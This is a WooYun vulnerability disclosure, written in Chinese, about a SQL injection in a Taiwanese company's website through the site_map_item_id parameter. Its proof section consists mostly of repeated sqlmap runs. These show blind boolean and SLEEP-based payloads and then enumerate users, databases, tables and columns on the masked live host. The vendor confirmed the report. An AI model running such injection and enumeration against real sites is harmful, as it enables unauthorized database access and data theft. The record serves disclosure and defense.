漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2016-0169264
漏洞标题:上華數碼科技股份有限公司某处SQL导致整站数据沦陷(臺灣地區)
相关厂商:上華數碼科技股份有限公司
漏洞作者: 奶嘴
提交时间:2016-01-13 12:10
修复时间:2016-02-27 11:49
公开时间:2016-02-27 11:49
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:18
漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2016-01-13: 细节已通知厂商并且等待厂商处理中
2016-01-14: 厂商已经确认,细节仅向厂商公开
2016-01-24: 细节向核心白帽子及相关领域专家公开
2016-02-03: 细节向普通白帽子公开
2016-02-13: 细节向实习白帽子公开
2016-02-27: 细节向公众公开
简要描述:
RTRT
上華數碼科技股份有限公司
详细说明:
上華數碼科技股份有限公司
http://**.**.**.**/site_item_content_2.php?site_map_item_id=197
漏洞证明:
[root@Hacker~]# Sqlmap -u "http://**.**.**.**/site_item_content_2.php?site_map_item_id=197"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:30:46
[00:30:47] [INFO] testing connection to the target url
[00:30:47] [INFO] testing if the url is stable, wait a few seconds
[00:30:49] [INFO] url is stable
[00:30:49] [INFO] testing if GET parameter 'site_map_item_id' is dynamic
[00:30:49] [INFO] confirming that GET parameter 'site_map_item_id' is dynamic
[00:30:50] [INFO] GET parameter 'site_map_item_id' is dynamic
[00:30:50] [WARNING] heuristic test shows that GET parameter 'site_map_item_id' might not be injectable
[00:30:50] [INFO] testing for SQL injection on GET parameter 'site_map_item_id'
[00:30:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:30:53] [INFO] GET parameter 'site_map_item_id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[00:30:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[00:30:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:30:54] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[00:30:54] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:30:54] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:30:55] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:30:55] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:30:55] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:31:06] [INFO] GET parameter 'site_map_item_id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[00:31:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[00:31:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[00:31:06] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[00:31:08] [INFO] target url appears to have 8 columns in query
[00:31:08] [WARNING] reflective value(s) found and filtering out
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[00:31:30] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. --dbms=mysql)
[00:31:30] [INFO] testing 'Generic UNION query (39) - 1 to 20 columns'
GET parameter 'site_map_item_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 68 HTTP(s) requests:
---
Place: GET
Parameter: site_map_item_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: site_map_item_id=197 AND 8799=8799
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: site_map_item_id=197 AND SLEEP(5)
---
[00:31:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[00:31:57] [INFO] fetched data logged to text files under 'C:\Users\dell-pc\AppData\Local\Temp\HZ$D58~1.375\HZ$D58~1.375\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 00:31:57
[root@Hacker~]# Sqlmap -u "http://**.**.**.**/site_item_content_2.php?site_map_item_id=197"--users
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:32:04
[00:32:04] [INFO] resuming back-end DBMS 'mysql'
[00:32:04] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: site_map_item_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: site_map_item_id=197 AND 8799=8799
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: site_map_item_id=197 AND SLEEP(5)
---
[00:32:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[00:32:05] [INFO] fetched data logged to text files under 'C:\Users\dell-pc\AppData\Local\Temp\HZ$D58~1.375\HZ$D58~1.375\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 00:32:05
[root@Hacker~]# Sqlmap -u "http://**.**.**.**/site_item_content_2.php?site_map_item_id=197"--dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:32:12
[00:32:12] [INFO] resuming back-end DBMS 'mysql'
[00:32:12] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: site_map_item_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: site_map_item_id=197 AND 8799=8799
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: site_map_item_id=197 AND SLEEP(5)
---
[00:32:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[00:32:13] [INFO] fetched data logged to text files under 'C:\Users\dell-pc\AppData\Local\Temp\HZ$D58~1.375\HZ$D58~1.375\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 00:32:13
[root@Hacker~]# Sqlmap -u "http://**.**.**.**/site_item_content_2.php?site_map_item_id=197"--tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:32:19
[00:32:20] [INFO] resuming back-end DBMS 'mysql'
[00:32:21] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: site_map_item_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: site_map_item_id=197 AND 8799=8799
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: site_map_item_id=197 AND SLEEP(5)
---
[00:32:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[00:32:22] [INFO] fetched data logged to text files under 'C:\Users\dell-pc\AppData\Local\Temp\HZ$D58~1.375\HZ$D58~1.375\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 00:32:22
[root@Hacker~]# Sqlmap -u "http://**.**.**.**/site_item_content_2.php?site_map_item_id=197"--columns
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:32:31
[00:32:32] [INFO] resuming back-end DBMS 'mysql'
[00:32:32] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: site_map_item_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: site_map_item_id=197 AND 8799=8799
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: site_map_item_id=197 AND SLEEP(5)
修复方案:
过滤
版权声明:转载请注明来源 奶嘴@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:16
确认时间:2016-01-14 03:37
厂商回复:
感謝通報
最新状态:
暂无